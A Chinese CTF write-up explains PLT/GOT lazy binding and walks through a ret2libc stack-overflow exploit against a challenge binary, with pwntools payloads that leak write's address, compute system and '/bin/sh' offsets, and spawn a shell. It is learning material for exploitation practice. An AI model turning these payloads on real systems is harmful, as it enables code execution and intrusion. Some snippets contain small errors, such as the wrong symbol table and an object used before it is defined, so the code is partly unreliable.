关于ret2libc 中的plt/got
延迟绑定
即当第一次使用某函数时,GOT表中对应表项保存的并不是真实的函数地址,需要通过_dl_runtime_resolve查找到真实的函数地址并填入GOT对应表项,从而在下次再使用该函数时,无需进行查找。我们要泄漏的就是初始化查找后填入GOT对应表项中的函数地址。
- 使用gdb,断点下在write函数之后,运行,x查看write.plt.got处的值,即实际地址;*
> >
plt 与 got
文件的plt表中存放着函数的.plt.got 地址,.plt.got 地址处的值为该函数的真正的got地址(也就是我们需要泄露的)
由于延迟绑定机制的存在,我们只能通过泄露被调用的函数的got地址,同时又因为同一libc库中各函数之间的偏移是固定的,我们就能因此来求出其他函数的got地址。
ret2libc的实现
- 文件给了一个pwnme文件与libc-2.19.so文件;checksec查看文件保护,IDA 查看源码,可以看到buf大小只有0x8,read却允许读入0x100大小的数据,有着明显的栈溢出;
- 查看应用调用函数plt表,
objdump -d -M intel -j .plt pwnme
可以看到没有调用system,需要我们利用其它已调用的来泄露;
- 这里决定泄露write函数的got地址:使用pwntools,使程序运行完write函数,得到真实的got地址;
1 2 3
| pwn = ELF('pwnme') sh.recvuntil('flag:') wri_got = pwn.got['write']
|
- 构造payload泄露write函数的实际地址
1
| pay = 'a'*20 + p32(pwn.symbols['write']) + p32(libc.symbols['vulnerable_function']) + p32(1) + p32(wri_got) + p32(4)
|
- 泄露libc中的system与/bin/sh地址
1 2 3
| libc = ELF('libc-2.19.so') sys_addr = wri_addr - libc.symbols['write'] + libc.symbols['system'] binsh_addr = wri_addr - libc.symbols['write'] + libc.search('/bin/sh').next()
|
- 构造payload
1
| payload = 'a'*20 + p32(sys_addr) + 'bbbb' + p32(binsh_addr)
|